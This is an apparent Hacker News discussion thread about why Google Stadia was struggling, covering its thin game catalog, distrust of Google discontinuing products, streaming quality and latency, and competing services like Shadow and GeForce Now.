Where would that GPU go? My laptop doesn’t have a place for it, and doesn’t
have the connections for an eGPU. A $300 delta would only be true if I had a
desktop.
I use Paperspace + Parsec for a regular Windows cloud desktop so I’m not
locked into anything and pay just a few dollars per month for my gaming.
~~~
thu2111
Next to the laptop, believe it or not.
[https://support.apple.com/en-us/HT208544](https://support.apple.com/en-
us/HT208544)
_eGPUs are supported by any Thunderbolt 3-equipped Mac1 running macOS High
Sierra 10.13.4 or later_
The key is to realise that modern cables coming out of laptops are basically
extensions of the PCIe bus. The bandwidth through them is phenomenal. It's
entirely feasible to run an external GPU.
However, you don't really need one. I am a casual gamer who uses my laptop
(got an Xbox too though), and even with the embedded GPU strategy/city
building/etc type games work fine and look great. The Mac isn't a good
platform if you're a capital-G "Gamer" but if you just want some entertainment
on long flights and the like it works just fine. Go grab Steam and off you go.
I don't think I'll be using Stadia any time soon as a consequence.
~~~
aagha
God it's so frustrating to see posts like yours.
[https://netmarketshare.com/operating-system-market-
share.asp...](https://netmarketshare.com/operating-system-market-share.aspx)
~~~
throwaway-9320
Thunderbolt 3 based eGPU-s work very well on Windows-based machines, too.
------
Shank
I have Stadia! Here are a few impressions:
1\. The game catalog is totally the most important thing and they don't have
any really big games. I'm not a Fortnite person, but they don't have that, nor
Apex, nor PUBG. Battle Royale may not be the biggest thing in gaming anymore,
but this is the type of game that at least a lot of people enjoy and they have
none on the platform.
2\. They sold Stadia as being able to achieve higher quality than local
hardware at a fraction of the cost. Yet it's been shown multiple times that
the games running on Stadia are running at less than promised quality, with
techniques like upscaling being used for 4K instead of native 4K:
[https://arstechnica.com/gaming/2019/11/google-addresses-
comp...](https://arstechnica.com/gaming/2019/11/google-addresses-complaints-
of-sub-4k-image-quality-on-stadia/).
3\. As a person who wants to play with a keyboard and a mouse on a computer, I
get really frustrated that the Stadia output resolution is fixed. You can't
output 1440p to a monitor at all, and 4K is only available if you have a
Chromecast. Why?
I've also tried Shadow and GeForce now. Shadow is easily the best in terms of
quality, because you can run at arbitrary resolutions and pump the bandwidth
up to a max of 70Mbps down, which is astoundingly good looking compared to
what Stadia offers. GeForce Now is great too, but point 3 applies to it: you
can't run at non-preset resolutions, which really stinks if you have a bigger
monitor with a higher native resolution. However, both Shadow and GeForce Now
leverage existing game libraries, look better, and are generally more
approachable than Stadia's "rebuy everything, run at lower quality, and lack
significant features" plan.
~~~
SeeDave
>Yet it's been shown multiple times that the games running on Stadia are
running at less than promised quality, with techniques like upscaling being
used for 4K instead of native 4K
I remember having tons of fun playing Portal and Left 4 Dead with buddies in
my dorm room when 720p was pretty high end. Is 4K really that necessary to
have a good time with a video game?
Or perhaps I'm... officially old :(
~~~
Shank
I don't really care for 4K personally. I just want "native" because I can't
stand looking at blurry interfaces. I can definitely tell when I'm running a
1080p game on a 1440p native monitor and everything is being stretched up. I
would take lower settings just to have a clear UI, but I can't do that.
In terms of raw quality with streaming game services, bitrate matters much
more than resolution. 4K mandates higher bitrate to deliver the pixels in a
timely fashion. All of the services have some upper cap on bitrate, and if you
can drive that up (can downstream clients support it?) then you can increase
the streamed game quality to be closer to what's actually being output. This
is most noticeable in areas where it's extremely dark or shadow detail is
important, less so in light settings.
But either way, quality is a combination of the game settings (what is being
output to the card), the output resolution (the scale of things you see), and
the bitrate (what is being sent down for you to actually view). If these three
components are mis-tuned, the quality of the image you're looking at will be
lower due to one of those components.
~~~
daemin
I agree with Linus from LTT where he said it's because the TV and Phone
industry have effectively ignored 1440p as a resolution. Movies are either HD
(1080p) or 4k and so TV and phone panels are made in those resolutions.
Monitors may be 1440p (which I find most useful) but only native PC games
actually output at that resolution.
This really goes to show that Stadia is a video streaming platform (i.e.
something to help compete with Twitch) rather than a game playing platform.
------
axaxs
I'm both bullish and bearish on cloud gaming, if that makes sense. I have
Stadia, and the tech is really nice, but as pointed out, there are no games.
Further, you have to buy/rebuy all your games just for Stadia, which may not
exist soon(ish).
Then there's Geforce Now. Their system is simply awesome, with similar tech
but two key advantages. First, you can use any controller, which is a big win.
But biggest of all, most of the games are just via Steam. So buy it once, play
on PC or ShieldTV, your choice. This was, as it turns out, too good to be
true. In the last month, at least two huge publishers pulled out, essentially
disabling the ability to play a purchased Steam game via Geforce Now. Now
their fate is looking questionable as well.
One month ago, I would have said Geforce Now is absolutely the way to go.
Today, I'd tell anyone curious just to wait and see what happens this year.
~~~
asdff
Give it 5 years and xbox and playstation will have their equivalent cloud
offerings, but far more refined and with their expansive and ever growing
catalogs. The players in the market now are doomed, but at least it can be
assured the industry giants pick up the pieces from when google inevitably
cancels this project and make a better product like they tend to do.
~~~
Narishma
Playstation already has it and they've been operating it for many years.
~~~
asdff
I'm putting 5 years on when it overtakes buying the console in market share.
~~~
daemin
It will never overtake having a local device which you can play games on, and
people that think so are delusional or are trying to sell you something on
subscription.
There will be people streaming the games they are playing, there will be
people playing streaming games, but it won't ever overtake playing on a local
device. (I include handheld consoles, phones, consoles, PCs in this).
------
remir
Let's say I'm a casual gamers, without a console or a gaming PC and I briefly
heard of Stadia. I imagine this is their target audience.
I went to stadia.google.com and there's no catalog with the available games on
the platform. There's nothing that show me, with trailers, videos, what's on
there and why I should buy this. Remember, I am a casual gamers, so I don't
know much about what is out there in terms of games.
What I see is some images of games that tells me nothing, a link to buy the
service and links to both App stores. That's it.
Basically, this is Google assuming, once again, that because they're Google,
that people would be tripping over themselves to sign up for this. Total lack
of empathy.
I ended up closing the tab.
~~~
100-xyz
I visited the page. Pathetic. I think someone did that page in an hour?
------
ineedasername
Unless it's a game I really, really want to play right NOW, I wishlist it and
wait for deep discounts, then purchase. This leaves me with a large back
catalog of games I haven't played yet, from which I choose when I'm done with
one game and want to choose another.
Given the frequent discount sales model popularized by Steam (and maybe Humble
Bundle was first to that?) I think a lot of avid gamers are in a similar
position.
As a result, game streaming services that doesn't let me bring my own games is
a complete non-starter for me. Especially for a sales model like Stadia where
I really don't own it. GoG is an excellent storefront to safeguard your
library with DRM free games and archiveable installers. Even Steam has made
sounds about finding a way to let you keep your library if they were ever to
go under. But past failures like Onlive have left gamers bereft of purchases.
I think I lost some games when Direct2Drive had some issues or transfer of
ownership years ago.
If Google really wants to make a viable product, they should be looking at
integrating Stadia streaming tech into compute instances that let me install
Steam or any other storefront or stand alone game.
If you're looking for such a service, you could do worse than Shadow or
Paperspace. I demoed GeForce Now and liked it better, but they're also running
into some trouble over not firming up publisher agreements, so I'd wait for
the dust to settle there in the next months.
~~~
ehnto
The frequent discount model is popular in most retail now. Many people don't
shop for clothing unless it is on sale because they have been trained that it
will be on sale soon enough.
~~~
ineedasername
Very true. I know I can get work casual clothes from the usual shops if I wait
a few weeks at a 30-40% discount.
------
crazygringo
This article seems misguided.
It's assuming Stadia is "floundering" because it doesn't have a ton of indie
titles, assuming those are "critical" for success.
But are they? The article is clear that Google is working with "EA, Bethesda,
Ubisoft, 2K Games, and Rockstar Games".
Google is obviously consciously choosing a product strategy of starting with
major publishers rather than indie ones.
Now I don't personally know if that's the right strategy. But it's clearly the
strategy Google is pursuing, so they should be judged on whether that's
working.
Judging solely on the presence of indie titles just seems weird.
~~~
iandanforth
I paid for the Founders Edition, eagerly awaited its release, played a couple
games for a few hours and haven't touched it since.
I want to play games like I watch Netflix, free with lots of variety. Indie
game makers would keep me coming back for no other reason than I want to try
new things regularly and I have zero interest in paying $60 for titles I've
already played or had no interest in in the first place.
Dr. Kate Compton articulates what I want well in this twitter thread:
[https://twitter.com/GalaxyKate/status/1197227916158996481](https://twitter.com/GalaxyKate/status/1197227916158996481)
~~~
setpatchaddress
Twitter won’t load for me right now, but it sounds like you want Apple Arcade.
~~~
SanchoPanda
Twitter will load differently for me depending upon referrer; try reloading by
selecting url and hitting enter to make it a direct thing.
------
dreamcompiler
"This concern — that Google might just give up on Stadia at some point and
kill the service, as it has done with so many other services over the years —
was repeatedly brought up, unprompted, by every person we spoke with for this
piece."
There it is, right there. Nobody takes Google seriously on any new initiative
outside their core wheelhouse. We've all been burned too many times.
~~~
ehsankia
I find this point so overplayed lately.
Can someone here name "so many other (paid) services" that Google has killed?
And even for free ones, how many major services can you name of the scale of
Stadia? G+ is really the only one, and maybe Allo. Hangouts is still not
killed though its future is uncertain, GPM is apparently being migrated and
Inbox was mostly a UI over Gmail.
Other than those, almost every other item in those cemetery site is a trivial
side project, not even close to being comparable to Stadia.
~~~
72deluxe
Out of interest, what is the alternative to Hangouts from Google? I have Duo
but I don't want to video call all the time. I would like to IM and send
pictures (without WhatsApp).
Does Google have an alternative or are they just ditching it for no purpose?
~~~
ehsankia
It's still not clear, but I doubt they will fully ditch it. My understanding
is that Hangout Chat is going to replace it, but the current iteration is very
enterprise centric (feels like Slack). The fact that they still haven't killed
Hangout makes me think that they will adapt Chat to be closer to the old
Hangout and swap the two.
------
valas
The article does not support the title. The facts also do not support the
article.
Stadia launched with 3 indie games, one of them exclusive. In just the last
week they added 3 more indie-ish games (Spitlings and 2 titles from
SteamWorld). They also announced at least 4 more indie-ish titles to land soon
(Lost Words, 2 more SteamWorld titles, and Stacks On Stacks). So how can one
claim that indie developers are not porting games to Stadia? At least some
clearly do.
Speaking of Business Insider - in my personal opinion, they are a click
factory. They'll write anything that drives clicks, just look at their landing
page. "Stadia is DoA" drives clicks and Business Insider wrote quite a few
articles to that extent. They know how to run business.
Speaking of this specific article: if devs and 'executives' believe Google is
not serious about Stadia, why no-one agreed to speak on record? Is it possible
that that these contacts actually think there is a path forward for Stadia and
they don't want to burn bridges? Or maybe these industry contacts are
imaginary?
Disclaimer: happy Stadia user, playing indie games on it and confused when
someone says that indies are not porting games to Stadia.
~~~
fiblye
3 indie games is not exactly a lot. 3 indie games is what's launched on Steam
any given 10 minutes. If you mean _huge_ indie games, Steam gets about one or
more of those a day.
And it seems like the Steamworld developer is quite serious about porting
games to Stadia, since 4 games out of the 10 you mentioned are all related to
Steamworld in some way. That doesn't strike me as a healthy indie market if
it's so heavily sustained by one developer.
And announcing 4 more indie titles coming soon doesn't leave me with any
confidence. It's not much.
~~~
valas
I agree that the number of games compared to established platforms is small.
But what can you expect? This is a new entrant, all the new platforms faced
similar issues. Some overcome it, some didn't, we'll see how it goes here. For
what I know, Google already invested a lot and has deep pockets.
~~~
fiblye
The facts seem to indicate that it's floundering if nearly half of its indie
titles are from one minor developer. Indie devs often readily hop on new
platforms (given that development isn't unreasonably difficult) since it's a
wide open market and they have a fresh chance to get in before it's too
crowded.
Nobody is eager to put anything on Stadia. As an indie developer myself,
Stadia would at best be an afterthought long after I've comfortably released
my games elsewhere. It doesn't seem worth the time investment.
------
sdinsn
I just don't see the market for this. Powerful computers are becoming cheaper
and cheaper; the PC game market is continuing to expand.
I don't see the comparison to other cloud media services like Netflix or Hulu-
on Stadia, you have to pay for the service AND the individual items, instead
of just the service. As far as I know, there isn't any other business like
this. I don't think this is appealing to consumers.
~~~
drusepth
Some of the most exciting potentials for cloud streaming for me are some of
the things they've toted as not possible on consumer hardware.
Most of these are just related to scale (like 1,000-person Battle Royales,
500-car races, MMOs that don't have to shard players in the same area into
separate "worlds", etc), but there's other features that'd be exciting to see
when games have effectively unlimited resources (instead of having to worry
about what's available on each consumer's PC); Google's got a lot of resources
in NLP and language recognition/generation they could apply to NPC dialogues,
massive amounts of resources could make enemy/npc AI way more impressive than
what you'd see on local hardware (I'd love to play against DeepMind's Dota 2
bots!), or even something as mundane as Maps-like navigation as a first-party
feature to help you navigate through game worlds.
I'm less excited about some of the streaming-based features they've advertised
(streamers being able to share save-states with viewers that viewers can click
to start playing from, viewers being able to instantly jump in and play live
with streamers, being easier to stream at 4K while also playing in 4K, etc),
but I guess those are probably appealing to some people also.
~~~
fooey
Things that aren't possible on consumer hardware are implausible to be
financially viable as an on demand service.
Even for Google, it will never affordable to spin up giant clusters of servers
for one person playing a video game.
The basic premise of Stadia being able to match and surpass a high end desktop
gaming machine makes no sense. The cloud isn't magic, and it takes people
thinking it is magic to buy the pitch. Stadia reminds me of SimCity 2013
promising it had to be online based because of all the magic cloud power they
needed to make it work, which was almost immediately proven to be utter
bullshit.
There's no way to offer the power of a $1,000 GPU without your own $1,000 GPU,
and their promise of 4k at 60 FPS takes a very serious amount of specialized
gaming hardware.
~~~
drusepth
>There's no way to offer the power of a $1,000 GPU without your own $1,000 GPU
I think the whole idea of economics at scale (and much of cloud computing) is
predicated on the idea that users want to use that $1,000 GPU without having
to pay $1,000 to own it, and that companies can sell access to many users per
$1,000 GPU to recoup the costs of that GPU, both over time (as the initial
cost gets amortized over recurring subscription/usage revenues) and
horizontally (selling access to many users who timeshare that GPU, maximizing
its use compared to owning one you'd only use N hours per day).
Scale that up to thousands of GPUs making a profit from hundreds of thousands
of users each accessing those resources at a cost cheaper than what it'd take
for them to purchase those resources for themselves and you've got the magic
of the "cloud".
tl;dr Users can pay <$1,000 for access to a $1,000 GPU and companies can
afford to do so because the number of users multiplied by what they're paying
exceeds the cost and upkeep of that GPU. Everyone* wins.
------
flipgimble
Google is now starting to feel the economic impact of being a known "mercurial
company" that cannot be trusted with any long term strategic partnerships. see
[https://gcemetery.co](https://gcemetery.co)
As a customer, why would I "buy" a game that I will never own, on a service
that is likely to close on a whim. As a game developer why would I invest time
and effort supporting a new platform from a company without a proven track
record in the game industry.
This will severely limit their impact on the industry, and the executives have
nobody to blame but themselves for the lack of trust.
------
remote_phone
I’m glad to see that Google is finally paying for their actions by having
market forces reject them for retreating so quickly. Anything they try can’t
be just a toe-dip now. They need to actually invest heavily otherwise no one
will trust them. Good. They have fucked over way too many developers by
dangling a promise and then cutting support quickly.
------
pfdietz
Shouldn't a potential user of this service just expect it to be
unceremoniously discontinued, like so many other Google products?
~~~
asdff
Yep, but then you can switch to xbox cloud in a couple years and it will
probably be excellent with a huge catalog of current and legacy titles and
supported until the end of time, or whenever you can no longer afford $10 a
month.
------
_bxg1
Google is an engineer-driven company. They're great at building solutions, but
terrible at packaging them up as products. Making them desirable, and easy to
understand, and just having any kind of unifying vision at all. Nobody who
understands this fact is the least bit shocked about how Stadia is turning
out.
~~~
martin-adams
I agree with this, but only for their consumer products. I gave up on the
Google Home and went back to Alexa. It was like they just don’t try to use
their own products themselves, and once they tick the box of releasing,
improvements seem to be nonexistent.
Admittedly, most of my issues were because I have a GSuite account, but when
it can’t read my own calendar or set a reminder, you realise they just don’t
care. Alexa can read my GSuite calendar just fine.
I always approach Google products with caution.
~~~
D2187645
Could it be possible that employees designing the google home ecosystem can't
actually afford homes in the bay area? If everyone is renting, then they
likely have to make do, and just imagine what owning a home might be like.
~~~
wutbrodo
What does owning a home have to do with the comment above? Calendar
integration has nothing to do with whether you pay a mortgage or rent.
------
Waterluvian
It's interesting to me how a company like Google can still do things so half-
assedly. You'd kind of expect with their resources, they'd to flirt with an
idea, then if they commit, to do it fully. Like, wildly cheap, subsidized
gaming solution until they own the market and then turn up the price.
The only answer I can come up with is, "this _is_ their version of flirting
with an idea." In which case I think the problem is nobody else realises that
given the scale and price tag.
~~~
abvdasker
Maybe this is silly given Google's vast resources, but I do worry about the
future of a company that seems to consistently fall short when it comes to
marketing and product management.
Google probably still has a lot of the best engineering talent in the world,
but without coherent product strategy and marketing what good does it do? When
was the last time Google made a big bet that achieved the same level of
success as their earlier products? Does Google's inability to diversify its
revenue stream make it more vulnerable to disruption than say, Amazon, in the
long run?
~~~
lmm
> Does Google's inability to diversify its revenue stream make it more
> vulnerable to disruption than say, Amazon, in the long run?
Yes. If ads went away, Google would collapse. Google's core search experience
is not _that_ good any more, though it's still the best in town; you have to
wonder what would happen if Amazon or Facebook decided to actually go after
search in a serious way.
~~~
dodobirdlord
They do. It is deeply irritating to Amazon that people mostly search Amazon's
product catalogue via Google, and only actually navigate to an Amazon
controlled page when they go specifically to the product page. Amazon has
thrown tremendous resources into building a search experience over _their own
databases_ and it still sucks compared to the one Google produced by scraping
their website.
~~~
lmm
I'm sure some part of Amazon must be deeply irritated, just as some part of
Google must be deeply irritated that so many people buying products after
searching on Google go to Amazon rather than through Google Shopping. But both
Amazon Search and Google Shopping suck badly enough that I struggle to believe
they are high priorities for their respective companies, whether that's based
on an objective view of their own business or because (tacitly or explicitly)
they've decided to avoid fighting each other directly.
------
WoahNoun
Google has consistently been terrible at large corporate deal making. It's the
same reason I have no faith in Google Cloud as a future product. Their tech
may be interesting, but they can't court and maintain strong relationships
with other large corporations. And Stadia's success will ultimately come down
to their ability to make deals with the largest publishers.
------
torgian
I think the other problem with Stadia, and why both consumers and developers
are wary of it, is simply due to its streaming idea.
Even within major cities, internet connectivity can suck a lot. Couple that
with data caps, and streaming games becomes a chore to play. Nobody wants to
play a game that “buffers”( we already have to deal with loading screens! )
I don’t think this is feasible in the States, and even other western
countries.
The exception would be Korea, Taiwan, Hong Kong and Singapore, where there are
no data caps and internet is much faster and cheaper. The market is different,
however, so I don’t think there would be much success.
And then there’s the ownership argument.
------
reilly3000
Despite its failings, Stadia has few complaints about its killer feature:
streaming at decently high FPS. Whether Google pulls it off or not ultimately
isn't the question- the question is whether game streaming over the web will
be the norm in 10 years, and I think that Stadia's initial rollout has proven
the tech out.
I'm rather fond of physical game media. I like the way it looks on a shelf,
and how I can always trade it at a local store for something else. I like that
I can demo titles via Redbox. I like that I own my hardware and can get some
value out of it if I sell it. Downloadable games don't have those qualities,
but at least they can (generally) be played offline and still allow for
permanent ownership. That said, all of those qualities have essentially
vanished with music and video streaming and gaming isn't fundamentally
different than those mediums. Look at home stereo systems over the past 50
years, where audiophile quality has given way to convenient delivery almost
universally.
Any player in the game streaming business needs to have big metal, fat pipes,
and money to burn on acquisition, so it does seem like a somewhat of a natural
monopoly.
~~~
sixothree
My experience with the technology supporting YouTube TV being so lackluster, I
am reluctant to ever consider Stadia. By lackluster I mean buffering on
episode load, waiting for the rewind feature to start working.
------
m0zg
I bet at least one googler's ambitious push into becoming a director or a VP
is succeeding though.
------
rodgerd
The article throws up two problems: the obvious one is that no-one trusts
Google not to lose interest in a year or two and flush everything into the
Google Sewer that all sorts of other killer products have been dumped into.
The other, though, is even harder for Google to solve: it's their culture of
contempt for creators. Google's most successful products are all founded on
the idea that content is worthless, and that whatever Google brings to the
party is so valuable that paying in exposure, or the opportunity to
participate in surveillance capitalism via advertising, ought to be enough to
make you happy.
Search increasingly repackages other people's work, and Google are happy to
leverage their monopoly to delist you if you don't like it; AMP ditto. News is
wholesale the same story. YouTube spent years turning a blind eye to rampant
copyright violation (particularly for music videos) to build itself into a
monopoly. Google Scholar, Google Books - almost every Google success story is
based on the same formula: take other people's work, repackage it, tell them
you'll see them in court if they don't like it, and drop you from search
(hell, at one point, Google banned a news outlet for a story about concerns
with Google Maps' privacy aspects, if you want to understand how freely
they'll use their monopoly).
Here, though, the creators have many outlets competing for their output, and
an audience who are well-engaged with Steam, the Windows Store/Xbox,
PlayStation Store, and so on. But Google's culture appears to be too arrogant
to actually recognise the value of creators.
~~~
perl4ever
"tell them you'll see them in court if they don't like it, and drop you from
search"
You tack on "drop you from search" as if it were an afterthought. But the
"copyright violation" or "taking other peoples' work" _is_ the process of
making it searchable. What logical possibility is there other than doing it or
not doing it?
------
mmsmatt
I rent a Shadow instance for $35 a month, and play my entire Steam library on
a MacBook Air. New games, old games, whatever. It just works, given good
broadband and an Ethernet cable.
I think the future of "cloud gaming" looks a lot more like Shadow than Stadia.
~~~
p1necone
Don't underestimate the importance of marketing. History is full of very
successful products that are dogshit compared to competitors but have flashy
marketing and celebrity endorsements.
------
smt88
Still an accurate headline if you replace "gaming" with...
\- music streaming
\- chat
\- phone hardware
\- ISP
\- health
As far as I know, they have two profitable products: ads and G Suite.
~~~
scarface74
And according to many reports, they are losing market share with GSuite...
[http://www.cloudcomputing-
news.net/news/2018/may/30/office-3...](http://www.cloudcomputing-
news.net/news/2018/may/30/office-365-usage-goes-and-leaving-g-suite-behind-
says-research/)
------
FillardMillmore
> But where are the dozens of indie hits that helped bolster the libraries of
> Sony's PlayStation 4, Microsoft's Xbox One, and Nintendo's Switch? Where are
> the games like "Bloodstained," "Shovel Knight," "Dead Cells," and "Untitled
> Goose Game" — the blockbuster indie games that sell millions of copies and
> inspire sequels?
I think this points to a somewhat more important problem for Google. As the
article points out, to incentivize developers and their studios to do the work
to move their games to the Stadia platform, Google would need to offer to them
the benefit of a base of dedicated users. If we consider that many prospective
users may already be using Steam or home gaming consoles, the question
becomes: how does Google attract these users to their platform? In my opinion,
as someone who has played games from an early age, the best way to do that
would be to either develop a game for the platform themselves (however
feasible that may be) or hire a studio to produce a game for the platform with
at least a temporary exclusivity deal. I've known many young kids throughout
my childhood who were inspired to go out and get a game system simply because
there's that one game that can't be played anywhere else. Whether it's Mario
on Nintendo, Halo on Microsoft, or Uncharted on Sony, every gaming platform
has historically had exclusive games that can't be played anywhere else.
Imagine if Google Stadia had secured Fortnite as an exclusive game - Fortnite
would probably have not been as successful as it is now, but Stadia may likely
have received a serious boost in consumer attention, all things staying the
same.
~~~
parineum
And that's exactly how steam was introduced, via half life 2
------
pjmlp
No surprise here, even their Android game related tooling is a joke compared
with what Apple offers on iOS SDK.
SpriteKite, SceneKit and MetalKit aren't without their share of bugs, however
on Android's side they are just inexistent.
At any GDC, or IO, the only thing Google seems to be able to talk about is
PlayServices, even the Vulkan support on Android is a joke, asking developers
to clone github repositories and compile shaderc from scratch.
They just don't know how to talk to game developers.
------
p1necone
I don't know about anyone else, but if any of these cloud gaming services want
me as a customer they need to give me access to my existing
Steam/GOG/Epic/Whatever library on their cloud system.
I'd also _much_ rather build my own system though, unless they put a
datacenter in my suburb I don't see this ever being a better experience than
my own machine.
------
lostgame
I don’t get the concept of buying a console or using a service that streams
the games, meaning I cannot play them offline (I play games mostly in Transit,
buses, subways, etc that don’t have wifi) - and meaning I ultimately don’t own
the games I buy, and when Google predictably shuts this service down as it is
notorious for doing, I don’t have anything to show for my investment?
I would never buy a serious console game on anything but hard media.
In a couple years, all the money people spent on games for Stadia will
literally have been completely wasted - and my Sega Genesis I got when I was
six, and the games I paid for 20 years ago will probably still work (I’ll
admit bitrot is a concern, but that’s a hugely different issue), along with my
PS5 or whatever I’m using at that point.
This is a zero-value, long-term net-loss concept for me. It boggles the mind.
------
LatteLazy
I feel a bit like the world needed this in the 90s. I remember when you needed
to constantly upgrade kit to play the latest games. Processors, RAM and the
GPU all had a lifespan of about 2 years before they were obsolete. That was
part of what pushed consoles: you knew you'd get 5 plus years of Sony PS?
games even if they looked a bit blocky by year 4.
But hardware has out run gaming needs now. My 6 year old PC plays the latest
games and streams 1080p at the same time without issue. I could probably mine
some crypto in the background.
If I was constantly upgrading, a "rental" service like this would make sense.
But I'm not. I'm struggling to justify any changes to my setup. So why would I
pay to rent someone else's?
And thats without the fact that Steam already offers games virtually on demand
or that consoles have a big chunk of the market sewn up...
------
iamthepieman
I think I'm one of the target markets for stadia. A big time gamer in my
teenss and college/early post college days before career and family made me
feel out more casual games. I only play a few AAA title to completion in a
year now but have a large library of games on Steam, Epic and GoG that I never
had the time or interest to finish.
I was excited about Stadia when I first heard of it but needing to buy
hardware for a service that will likely be languishing in a year and sunsetted
in two just didn't interest me. I'm more likely to spend money on a 8 times
more expensive VR set than a cheap piece of hardware that will be collecting
dust in a drawer soon.
Google's reputation for discontinuing projects already influences me. Is this
something that people outside the HN bubble think about?
~~~
SmirkingRevenge
You don't need to buy hardware for Stadia (sort of). At the moment, I do think
you need to be invited by an existing member, to get an activation code ,
without buying the "founder's edition" \- which is a controller and a
chromecast ultra.
But in general, you don't need either of those things to play games on stadia.
You can use any controller (or kb/m, and any device that runs chrome, AFAIK).
~~~
georgemcbay
I don't think this is a good defense of the service, in fact quite the
opposite. The fact that you can't just buy access to it without buying the
chromecast ultra hardware bundle just shows how half-baked the whole thing is.
Especially since the chromecast ultra doesn't support non-Stadia controllers,
so if you do want to play with say an Xbox controller google is bundlefucking
you with hardware you will never use, which certainly doesn't make the service
look any more attractive to people who might otherwise be interested.
------
me551ah
IMO the biggest mistake they made was going with Linux instead of Windows.
They were aiming to be Netflix for gaming but while Netflix could add any
title to it's service as soon as they got the rights for it, developers need
to port their games to Linux(& Vulkan) to run on Stadia. This is not an easy
feat. For Destiny 2 Google had to depute a couple of its developers to work
out of Bungie's office for over 6 months.
[https://ajit.dhiwal.com/2020/01/google-stadia-shouldve-
used-...](https://ajit.dhiwal.com/2020/01/google-stadia-shouldve-used-
windows.html)
~~~
ThrowawayR2
1) Microsoft has no incentive to cut a deal with or assist Google since they
have their own online gaming service.
2) Google would be highly unenthusiastic about using Windows both culturally
and because of the need to hire large numbers of engineers with deep Windows
expertise.
------
akhilcacharya
I do genuinely wonder what the appeal was to build an entirely new and
slightly different hardware platform (using AMD hardware, like PS4/Xbox) when
they could have easily licensed Gamestream like what Shadowplay did? Was
NVIDIA not willing? Google probably already has massive data centers full of
Nvidia GPUs.
Stadia is DOA, because of its absurd pricing and rollout, really strange
design decisions (usb controller for select phones, but wireless for
Chromecast?)
~~~
agildehaus
I already own a Chromecast Ultra. Why would I want to pay for another one? I
have no idea why I can't buy a controller by itself for $69.
It will be interesting to see how they treat paying customers when they
inevitably shut this thing down.
------
m3kw9
Looks like they underestimates the power exclusive AAA titles to bring people
in their platforms. Platforms like Steam and Epic without exclusive games is
like buying bananas from the super market, I get them which ever is
convenient. Having exclusives is like traveling, it brings people to you
because certain things only that locale has and you must be there
------
fourmyle
The main issue is streaming services have too much latency to attract core
gamers. I barely find Steam Link playable on my home network. Nothing breaks
immersion more than lag. It’s like page load times. The occasional jitter
matters. The lag spikes and compression artifacts are killers not the average
latency.
------
johnwheeler
At the end of the day, I think it boils down to simple arrogance and
entitlement.
When you’re the owner of a successful indie game company and you’ve got some
partnerships exec treating you like “big me little you” because I work at
Google and you’re an indie who needs me and will work for free, it’s a real
turn off.
------
techntoke
I think Stadia would make a good platform for virtual desktops running a fun
blown Linux OS with Android App support. Almost every app you'd need for
Windows has an Android app that is comparable. Maybe they could even support
Windows too as a paid add-on.
------
shmerl
I'm surprised Google still didn't use something like Wine (+dxvk) to bring
more games to Stadia sooner, while the library of native Linux/Vulkan games is
gradually growing (which isn't going to be super fast process). Is there a
reason for that?
~~~
ehsankia
You can't just "bring games to Stadia". First off you need the approval from
the devs. We've seen Blizzard and Bethesda pulling out their games from
GeForce Now. Next, the way Stadia is designed, it requires actual porting to
use its APIs, which is a non-trivial amount of work required from the devs.
You can argue if it's the right design or not, but as it is, it takes time and
effort to move games to Stadia, so it's not as trivial as just running them on
Wine.
~~~
shmerl
Adding support for Stadia SDK (for remote input and video streaming and such)
is not as difficult, as writing a Vulkan renderer in the first place, for a
game that doesn't have it. Incentives are measured against the difficulty of
the whole work.
I'm sure, using Wine+dxvk as a first step for existing games is a lot easier
than writing native Vulkan renderer. In this sense, Google can actually
provide one level of incentives for native games (higher one), and another for
Wine use case.
I.e. developers can first release it in Wine (phase 1), and then make a native
version for example (phase 2) to improve performance.
What Google could do, is to provide integration of their SDK with Wine for
phase 1 above.
------
anonytrary
Well, username checks out, since many people considered Stadia to be a
physically _impossible_ endeavor. The napkin math/physics behind Stadia barely
checks out, but I still think it's worth continuing development on it.
------
agoodthrowaway
Gaming is hard. It’s hard to disrupt when we have PlayStation, XBox, and
Nintendo. Xbox was able to break in because they had Halo. Nintendo has tons
of games people love.
PlayStation has a great ecosystem. You need more than just a Google name to
break in.
~~~
rodgerd
Xbox also had Live, an easier dev story, and a willingness to persist - it's
been around since 2001. And it took a long time losing money!
~~~
Macha
And Microsoft were already in the gaming space, both as a publisher and via PC
technologies like DirectX.
~~~
rodgerd
Yes, and I imagine they learned from their involvement with the Dreamcast, as
well.
~~~
ThrowawayB7
That's a persistent myth; the team that launched the Xbox was an entirely
different set of people in a different division from the team that worked on
the Dreamcast collaboration with Sega.
------
seemslegit
As with every area where google didn't have a dominant offering in place
before strong competitors existed. Android being a possible exception because
device vendors rallied around it so as not to be extinguished by apple.
------
Razengan
Can’t someone go take a look at the Commodore 64/Amiga and Sinclair ZX
Spectrum, and make a new _programmable games console_ for the modern age?
Even something like a Raspberry Pi inside a keyboard enclosure would be good.
------
bingobob
Google used to use the term beta a lot in there past. I don't understand why
Stadia wasn't tag with the beta or early access this would of put the problems
and the media more at ease until the product was stable
~~~
lonelappde
The MBA took over and is afraid to show weakness with labels like "Beta".
------
2wrist
Shame, they have such an opportunity on so many fronts.
I am actually very intrigued by the hardware, a powerful linux box which may
make a cracking console in it's own right. Wouldn't mind one of those at home.
------
buttersbrian
Google doesn't really kill pay services. So while projects and random free
services are killed all the time (too often probably), it's kinda unfair to
apply that reputation to Stadia.
------
mensetmanusman
Starlink implementation (best case scenarios) will be the only thing that
saves Stadia’s latency issue. Maybe Google knows something...
------
numlock86
Early adopter of Stadia here. Even I am surprised they haven't shut down the
service yet. I wonder when they'll pull the plug.
------
Rainymood
Google Stadia reminds me of the old adage: "Good business can save bad tech,
but good tech can not save bad business."
------
Kiro
Stadia works surprisingly well but has literally 0 games I'm interested in.
Considering cancelling my Pro subscription soon.
------
tcd
It's hilarious. Many people commented on how long it would take before it
ended up in killedbygoogle.com.
I don't trust a single product they launch these days. Usually it's best to
wait 5 years and get a sense for its longevity.
What products do Google make that last longer these days? I feel the majority
of new stuff ends up canned because it just doesn't hold up to the tech debt
and costs for running the service at such huge scale.
~~~
moneromoney
Stadia is already dead. I don't know anyone in Europe who is using it.
------
freeflight
This whole sector is currently just super weird.
GeForce NOW has been somewhat successful but has had support from both
Bethesda and Activision recently pulled.
Meanwhile, Google is just kinda half-arsing it around, even tho they would
easily have the money and infrastructure to create something like a "killer-
app" for the scalability of gaming in the cloud.
But apparently there isn't any attempt at something like that, so what's even
the point?
------
willis936
Google has a growing track record of ambitious half-measure projects.
Game streaming is very appealing to me on paper for competitive games.
